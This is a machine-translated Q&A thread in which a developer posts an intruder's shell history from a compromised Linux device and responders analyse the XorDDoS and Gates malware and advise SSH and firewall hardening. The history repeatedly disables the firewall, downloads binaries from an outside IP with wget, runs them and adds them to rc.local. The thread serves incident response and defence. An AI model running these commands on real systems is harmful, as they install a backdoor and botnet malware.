Câu hỏi Tôi vừa bị tấn công phải không?


Tôi đang phát triển một sản phẩm tiêu dùng, và nó được cho là được kết nối với Internet, vì vậy như mong đợi, nó được kết nối với Internet để tôi có thể phát triển nó một cách đúng đắn.

Tôi đi mất một hoặc hai giờ, và khi tôi trở lại văn phòng của tôi, tôi nhận thấy một số lệnh lạ được viết trong thiết bị đầu cuối.

Nhìn vào tệp nhật ký Linux được gọi là auth.log Tôi có thể thấy các dòng sau (trong số nhiều dòng khác):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

Địa chỉ IP 40.127.205.162 hóa ra là thuộc sở hữu của Microsoft.

Dưới đây là một loạt các lệnh được sử dụng trong khi tôi đi xa:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Và hơn thế nữa:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Tôi hoàn toàn không biết điều này. Làm thế nào tôi có thể bảo mật sản phẩm của mình đúng cách?

Tôi muốn đăng bài hoàn thành auth.log tập tin. Làm thế nào để làm điều đó?

Ngoài ra, tệp yjz1 đã được tải xuống có vẻ là một Trojan Linux và tất cả điều này dường như được thực hiện bởi một số nhóm hacker theo http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Tôi có nên gọi cho Microsoft và nói chuyện với họ không? Tôi nên làm gì?


483
2018-02-01 11:21


gốc


Ừ, trông không ổn lắm. Tôi không phải là một chuyên gia trong Linux bằng bất kỳ phương tiện nào, nhưng đôi khi chắc chắn đã cố gắng thực hiện trên đó. Tôi không hoàn toàn chắc chắn như thế nào mặc dù nó có vẻ như nó đã cố gắng để đăng nhập như là người chủ và thất bại. Có bất kỳ nhật ký nào khác trong auth.log của bạn không? Bất kỳ phương tiện nào khác của quản trị từ xa? Tôi đã nhìn thấy Mac với máy chủ VNC cho phép bị tấn công trước đó thông qua đó, mặc dù điều này trông giống như một nỗ lực SSH. Có vẻ như các IP mà nó đang tải xuống được lưu trữ ở Trung Quốc ở đâu đó. - Jonno
Bạn bị cưỡng bức. Đây là lý do tại sao người ta không để máy chủ ssh trên internet, ngay cả khi bạn có mật khẩu. Bất cứ điều gì thiếu chìa khóa dựa trên auth là không đủ an toàn những ngày này. - Journeyman Geek♦
Chúng tôi có security.stackexchange.com. Nhưng điều đầu tiên trước tiên: Máy chủ bị xâm nhập có thể không còn đáng tin cậy nữa. Đưa nó ra khỏi mạng. Nếu có thể thực hiện một bản sao lưu để bạn có thể nghiên cứu những gì đã được thực hiện và cách nó được thực hiện. Tiếp theo cài đặt lại hệ điều hành từ một nguồn sạch. Khôi phục dữ liệu từ bản sao lưu. Bảo mật hệ thống vì vậy bạn không bị nhiễm bệnh nữa. Tìm ra cách họ đã nhận được rất khuyến khích. (Do đó khuyến cáo để tạo một bản sao của hệ thống bị nhiễm bệnh). - Hennes
FYI: 40.127.205.162 là một Microsoft Azure Địa chỉ IP theo GeoIP. Do đó, bạn không thể đổ lỗi cho Microsoft về vụ tấn công - nó tương đương với đổ lỗi cho Amazon vì ai đó đã sử dụng EC2 vì spam. Điều duy nhất mà Microsoft thực sự có thể làm là đẩy những kẻ tấn công ra khỏi Azure, nhưng họ sẽ trở lại trên một nền tảng đám mây khác trong thời gian không. - nneonneo
Trong thực tế, nếu điều này đã được viết trong thiết bị đầu cuối của bạn, hacker có thể đang ngồi trong tủ tiếp theo. - isanae


Các câu trả lời:


CHỈNH SỬA 2:

có một lý do chính đáng tại sao bài đăng này thu hút rất nhiều sự chú ý: bạn đã quản lý để ghi lại toàn bộ, phiên trực tiếp của kẻ xâm nhập trên PC của bạn. Điều này rất khác với trải nghiệm hàng ngày của chúng tôi, nơi chúng tôi đối phó với việc khám phá hậu quả của hành động của anh ấy và cố gắng khắc phục chúng. Ở đây chúng ta thấy anh ta ở nơi làm việc, thấy anh ta có vấn đề với việc thiết lập cửa sau, hồi tưởng lại các bước của anh ta, làm việc sốt sắng (có lẽ vì anh ta đang ngồi ở bàn làm việc của bạn, như đề xuất ở trên, hoặc có lẽ, không thể làm cho phần mềm độc hại của mình chạy trên hệ thống, đọc bên dưới) và cố gắng triển khai các công cụ kiểm soát hoàn toàn độc lập. Đây là những gì các nhà nghiên cứu bảo mật chứng kiến ​​hàng ngày với mật ong bẫy. Đối với tôi, đây là một cơ hội rất hiếm, và là nguồn giải trí.


Bạn chắc chắn đã bị tấn công. Bằng chứng cho việc này không phải đến từ đoạn trích của auth.log tệp bạn đã hiển thị vì báo cáo này không thành công khi đăng nhập, xảy ra trong khoảng thời gian ngắn (hai giây). Bạn sẽ nhận thấy rằng trạng thái dòng thứ hai Failed password, trong khi báo cáo thứ ba báo cáo pre-auth ngắt kết nối: anh chàng đã cố gắng và thất bại.

Bằng chứng đến từ nội dung của hai tập tin http://222.186.30.209:65534/yjz và http://222.186.30.209:65534/yjz1 mà kẻ tấn công đã tải xuống hệ thống của bạn.

Trang web hiện đang mở cho bất kỳ ai tải xuống chúng, mà tôi đã làm. Lần đầu tiên tôi chạy file trên chúng, cho thấy:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Sau đó, tôi đưa chúng vào một máy ảo Debian 64 bit mà tôi có; kiểm tra nội dung của họ thông qua strings lệnh tiết lộ nhiều điều đáng ngờ (tham chiếu đến các cuộc tấn công nổi tiếng khác nhau, với các lệnh được thay thế cho, một kịch bản được sử dụng rõ ràng để thiết lập một dịch vụ mới, vv).

Sau đó tôi đã tạo ra MD5-băm của cả hai tệp và cho chúng vào Cymru's cơ sở dữ liệu băm để xem liệu chúng có phải là tác nhân của phần mềm độc hại hay không. Trong khi yjzkhông phải là, yjz1 và Cymru báo cáo xác suất phát hiện bằng phần mềm chống vi-rút là 58%. Nó cũng nói rằng tập tin này được nhìn thấy lần cuối ba ngày trước, vì vậy nó là hợp lý gần đây.

Đang chạy clamscan (một phần của clamav gói) trên hai tệp tôi đã nhận được:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

vì vậy chúng tôi bây giờ chắc chắn rằng phần mềm Linux chuẩn có thể xác định nó.

Những gì bạn nên làm? 

Mặc dù khá mới, hệ thống không phải là rất mới, xem bài viết tháng 1 năm 2015 này về XorDdos, ví dụ. Vì vậy, hầu hết các gói miễn phí sẽ có thể xóa nó. Bạn nên thử: clamav, rkhunter, chkrootkit. Tôi có Googled xung quanh, và thấy rằng họ yêu cầu bồi thường để có thể phát hiện ra nó. Sử dụng chúng để kiểm tra công việc của người tiền nhiệm, nhưng sau khi chạy ba chương trình này, bạn nên sẵn sàng để đi.

Đối với câu hỏi lớn hơn, what should you do to prevent future infections, Câu trả lời của người đi bộ là một bước đầu tiên tốt. Chỉ cần ghi nhớ rằng nó là một cuộc đấu tranh đang diễn ra, một trong đó tất cả chúng ta (bao gồm cả tôi!) Có thể rất tốt đã mất mà không hề biết.

CHỈNH SỬA:

Tại dấu nhắc của Viktor Toth (gián tiếp), tôi muốn thêm một vài bình luận. Nó chắc chắn đúng là kẻ xâm nhập gặp phải một số khó khăn: anh ta tải xuống hai công cụ hack riêng biệt, thay đổi quyền của họ vài lần, khởi động lại chúng nhiều lần và cố gắng vô hiệu hóa tường lửa nhiều lần. Nó rất dễ đoán xem điều gì đang xảy ra: anh ta hy vọng các công cụ hack của anh ta mở một kênh truyền thông tới một trong những chiếc máy tính của anh ấy (xem sau), và khi anh ta không thấy kênh mới này xuất hiện trên GUI điều khiển của anh ấy công cụ đang bị tường lửa chặn, vì vậy anh lặp lại quy trình cài đặt. Tôi đồng ý với Viktor Toth rằng giai đoạn cụ thể của cuộc phẫu thuật này dường như không mang lại những trái cây mong muốn, nhưng tôi muốn khuyến khích bạn rất mạnh mẽ không đánh giá thấp mức độ thiệt hại gây ra trên máy của bạn.

Tôi cung cấp ở đây một phần đầu ra của strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Điều này cung cấp bằng chứng giả mạo với các dịch vụ (trong /etc/init.d và trong /etc/rc.d), với crontab, với tệp lịch sử của mysqlvà một vài tệp trong proc là liên kết đến bash (cho thấy một phiên bản giả mạo tùy chỉnh của vỏ của bạn đã được trồng). Sau đó, chương trình tạo ra một yêu cầu HTTP (đến một trang web nói tiếng Trung Quốc,

 Accept-Language: zh-cn

mang lại chất cho bình luận của David Schwartz ở trên), điều này có thể tạo ra sự tàn phá hơn nữa. Trong yêu cầu, tệp nhị phân (Content-Type: application/x-www-form-urlencoded) sẽ được tải xuống máy tính bị tấn công (GET) và được tải lên máy kiểm soát (POST). Tôi không thể thiết lập những gì sẽ được tải về máy tính bị tấn công, nhưng, với kích thước nhỏ của cả hai yjz và yjz1 (1,1MB và 600kB, một cách liên tục), tôi có thể mạo hiểm phỏng đoán rằng hầu hết các tệp cần thiết để che giấu bộ rootkit, I E. các phiên bản thay đổi của ls, netstat, ps, ifconfig, ..., sẽ được tải xuống theo cách này. Và điều này sẽ giải thích nỗ lực của những kẻ tấn công sốt sắng để tải xuống bản tải xuống này.

Không có sự chắc chắn rằng việc loại trừ trên tất cả các khả năng: chúng tôi chắc chắn thiếu một phần của bảng điểm (giữa các dòng 457 và 481) và chúng tôi không thấy một đăng xuất; hơn nữa, đặc biệt đáng lo ngại là các dòng 495-497,

cd /tmp;  ./yd_cd/make

đề cập đến một tệp chúng tôi không thấy được tải xuống và có thể là một trình biên dịch: nếu có, điều đó có nghĩa là kẻ tấn công có (cuối cùng?) hiểu vấn đề với các tập tin thực thi của anh ta là gì, và đang cố sửa nó, trong trường hợp đó, máy tính bị tấn công đã biến mất. [Thực tế, hai phiên bản phần mềm độc hại mà kẻ tấn công đã tải xuống máy bị tấn công (và tôi sử dụng máy ảo Debian 64 bit) của tôi là kiến ​​trúc không phù hợp, x86, trong khi tên của máy chủ bị tấn công anh ta đang xử lý kiến ​​trúc cánh tay].

Lý do tại sao tôi đã viết bản chỉnh sửa này là thúc giục bạn mạnh mẽ nhất có thể để đánh lừa hệ thống của bạn bằng một công cụ chuyên nghiệp hoặc để cài đặt lại từ đầu.

Và, nhân tiện, điều này có hữu ích cho bất kỳ ai không, đây là danh sách của 331 Địa chỉ IP mà yjz cố kết nối. Danh sách này quá lớn (và có thể là mệnh để trở nên lớn hơn) mà tôi tin rằng đây là lý do để giả mạo mysql. Danh sách cung cấp bởi backdoor khác là giống hệt nhau, mà, tôi đoán, là lý do để lại một phần quan trọng của thông tin trong mở (tôi suy nghĩ kẻ tấn công không muốn nỗ lực lưu trữ chúng ở định dạng hạt nhân, vì vậy anh ta đưa toàn bộ danh sách vào một tập tin văn bản rõ ràng, có lẽ là tất cả các backdoor của anh ta, cho bất kỳ hệ điều hành nào):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Mã sau

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

trên danh sách trên cho thấy rằng 302 trong tổng số 331 địa chỉ ở Trung Quốc đại lục, còn lại là ở Hồng Kông, Mông Cổ, Đài Loan. Điều này cho biết thêm hỗ trợ cho cuộc tranh luận của David Schwartz rằng đây chủ yếu là một vòng bot của Trung Quốc.

CHỈNH SỬA 3

Theo yêu cầu của @ vaid (tác giả của OP, đọc bình luận bên dưới), tôi sẽ thêm một bình luận về cách tăng cường bảo mật của một hệ thống Linux cơ bản (đối với một hệ thống cung cấp nhiều dịch vụ, đây là một chủ đề phức tạp hơn nhiều). vaid nói rằng ông đã làm như sau:

  1. Cài đặt lại hệ thống

  2. đã thay đổi mật khẩu gốc thành mật khẩu dài 16 ký tự với các chữ cái và chữ hoa và chữ thường hỗn hợp và chữ và số.

  3. Đã đổi tên người dùng thành tên người dùng dài 6 ký tự hỗn hợp và áp dụng cùng một mật khẩu như được sử dụng cho thư mục gốc

  4. đã thay đổi cổng SSH thành thứ gì đó trên 5000

  5. tắt đăng nhập root SSH.

Điều này là tốt (ngoại trừ tôi sử dụng một cổng trên 10.000 vì nhiều chương trình hữu ích sử dụng các cổng dưới 10.000). Nhưng Tôi không thể nhấn mạnh đủ nhu cầu sử dụng các khóa mã hóa để đăng nhập sshthay vì mật khẩu. Tôi sẽ cho bạn một ví dụ cá nhân. Trên một trong các VPS của tôi, tôi đã không chắc chắn liệu có nên thay đổi cổng ssh hay không; Tôi để nó ở tuổi 22, nhưng sử dụng các khóa mật mã để xác thực. Tôi đã có hàng trăm các nỗ lực đột nhập mỗi ngày, không ai thành công. Khi, mệt mỏi để kiểm tra hàng ngày mà không có ai đã thành công, cuối cùng tôi đã chuyển cảng sang một thứ gì đó trên 10.000, nỗ lực phá vỡ đã đi đến số không. Tâm trí bạn, nó không phải là tin tặc là ngu ngốc (họ không!), Họ chỉ săn lùng con mồi dễ dàng hơn.

Nó rất dễ dàng để kích hoạt một khóa mật mã với RSA như một thuật toán chữ ký, xem bình luận dưới đây bởi Jan Hudec (cảm ơn!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Bây giờ tất cả những gì bạn phải làm là sao chép tệp id_rsa với máy mà bạn muốn kết nối (trong thư mục .ssh, cũng thế chmod'chỉnh sửa 700), sau đó ra lệnh

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Khi bạn chắc chắn rằng công trình này, hãy chỉnh sửa trên máy chủ (= máy bạn muốn kết nối) tệp /etc/ssh/sshd_configvà thay đổi dòng

#PasswordAuthentication yes

đến

PasswordAuthentication no

và khởi động lại ssh dịch vụ (service ssh restart hoặc là systemctl restart ssh, hoặc một cái gì đó như thế này, tùy thuộc vào distro).

Điều này sẽ chịu được rất nhiều. Trên thực tế, hiện tại không có khai thác nào được biết đến so với các phiên bản hiện tại của openssh v2và RSA được tuyển dụng bởi openssh v2.

Cuối cùng, để thực sự buông xuống máy của bạn, bạn sẽ cần cấu hình tường lửa (netfilter / iptables) như sau:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Điều này, 1) cho phép kết nối ssh từ cả LAN và WAN, 2) cho phép tất cả đầu vào được bắt nguồn từ yêu cầu của bạn (ví dụ, khi bạn tải trang Web), 3) giảm mọi thứ khác trên đầu vào, 4) cho phép mọi thứ trên đầu ra, và 5-6) cho phép mọi thứ trên giao diện loopback.

Khi nhu cầu của bạn tăng lên, và nhiều cổng hơn cần được mở, bạn có thể làm như vậy bằng cách thêm, ở đầu danh sách, các quy tắc như:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

cho phép người dùng truy cập trình duyệt Web của bạn.


479
2018-02-01 16:05



Điều này thật tuyệt vời để đọc. Tôi cũng đã thử tệp yjz1 thông qua Googles VirusTotal.com mà đã cho một tích cực. Tôi thậm chí không thấy rằng yjzđã được tải xuống. Cảm ơn. - vaid
Hãy cẩn thận khi chạy strings trên dữ liệu không đáng tin cậy. lcamtuf.blogspot.com/2014/10/… - Matt Nordhoff
@MattNordhoff Cảm ơn bạn đã chỉ ra điều này, tôi đã không biết gì về nó. Tuy nhiên, trên Debian của tôi lệnh 'strings` vượt qua bài kiểm tra bạn đã liên kết với màu sắc bay. Tôi cho rằng điều này là do thực tế là trạng thái thủ công: -a ... Thông thường đây là hành vi mặc định. Chúc mừng. - MariusMatutiae
Câu trả lời này cho thấy một cách tiếp cận mà nên là một mô hình: 1. Đừng để sự chú ý của bạn được chuyển hướng bởi những nỗ lực thất bại, được cảnh báo. 2. Phân biệt các hành động thành công của kẻ tấn công. 3. Nghiên cứu những gì và làm thế nào kẻ tấn công đã làm. 4. Cài đặt tất cả từ đầu hoặc từ bản sao lưu không bị gián đoạn (bị tấn công) cuối cùng, thêm các bảo vệ bổ sung cần thiết mà bạn đã tìm thấy (điểm 3). 5. Giúp những người khác tự bảo vệ mình (danh sách IP bị xâm phạm / nghi ngờ). - Hastur
[Redacted sau khi bình luận bởi @MariusMatutiae] - Tuy nhiên, OP nên nhận ra rằng trên một hệ thống bị xâm nhập, mỗi thực thi phải được coi là độc hại, ngay cả vỏ, ls, who hoặc bất cứ điều gì khác. "Giải cứu dữ liệu" bằng cách sử dụng bất kỳ tệp thực thi nào trên hệ thống bị xâm nhập (ví dụ: scp hoặc là rsync) có thể làm tổn hại nhiều máy hơn nữa. - Dubu


Chào mừng bạn đến với Internet - nơi mà bất kỳ máy chủ SSH mở nào có khả năng sẽ bị thăm dò, bạo lực và có nhiều sự phẫn nộ gây ra.

Để bắt đầu, bạn cần xóa hoàn toàn bộ nhớ trên sản phẩm. Hình ảnh nó nếu bạn muốn vượt qua nó trên forensics, nhưng Linux cài đặt trên nó bây giờ là nghi ngờ.

Bit phỏng đoán nhưng

  1. Bạn bị cưỡng bức hoặc là sử dụng mật khẩu chung. Đó là bảo mật bởi sự tối tăm nhưng bạn không muốn mật khẩu từ điển hoặc là để sử dụng tài khoản root mở cho SSH. Vô hiệu hóa quyền truy cập SSH gốc nếu đó là một tùy chọn hoặc ít nhất là thay đổi tên để chúng cần đoán cả hai. SSHing là root là thực hành bảo mật khủng khiếp dù sao đi nữa. Nếu bạn phải sử dụng root, hãy đăng nhập với tư cách người dùng khác và sử dụng su hoặc sudo để chuyển đổi.

  2. Tùy thuộc vào sản phẩm, bạn có thể muốn khóa truy cập SSH theo một cách nào đó. Tổng số âm thanh khóa xuống giống như ý tưởng hay và cho phép người dùng mở nó khi cần. Tùy thuộc vào tài nguyên nào bạn có thể sử dụng, hãy xem xét chỉ cho phép các địa chỉ IP trong mạng con của riêng bạn hoặc một số loại hệ thống điều tiết đăng nhập. Nếu bạn không cần nó trên sản phẩm cuối cùng chắc chắn rằng nó đã bị tắt.

  3. Sử dụng một cổng không chuẩn. An ninh bởi sự tối tăm một lần nữa, nhưng nó có nghĩa là một kẻ tấn công cần phải nhắm mục tiêu cổng của bạn.

  4. Không bao giờ sử dụng mật khẩu mặc định. Cách tiếp cận tốt nhất mà tôi đã thấy là tạo ngẫu nhiên mật khẩu cho một thiết bị cụ thể và gửi nó với sản phẩm của bạn. Thực hành tốt nhất là xác thực dựa trên khóa, nhưng tôi không biết bạn sẽ tiếp cận như thế nào trên một sản phẩm thị trường đại chúng.


140
2018-02-01 13:24



5. Sử dụng auth khóa công khai nếu có thể. Mật khẩu auth là xa, kém an toàn hơn nhiều. - Bob
Vâng, nhưng nếu nó là một thiết bị tiêu dùng, nó có thể không phải là một lựa chọn. Trên một hộp dev, nghe có vẻ như một ý tưởng tuyệt vời. Trên một máy chủ, tốt, tôi đã bị hack trước; p - Journeyman Geek♦
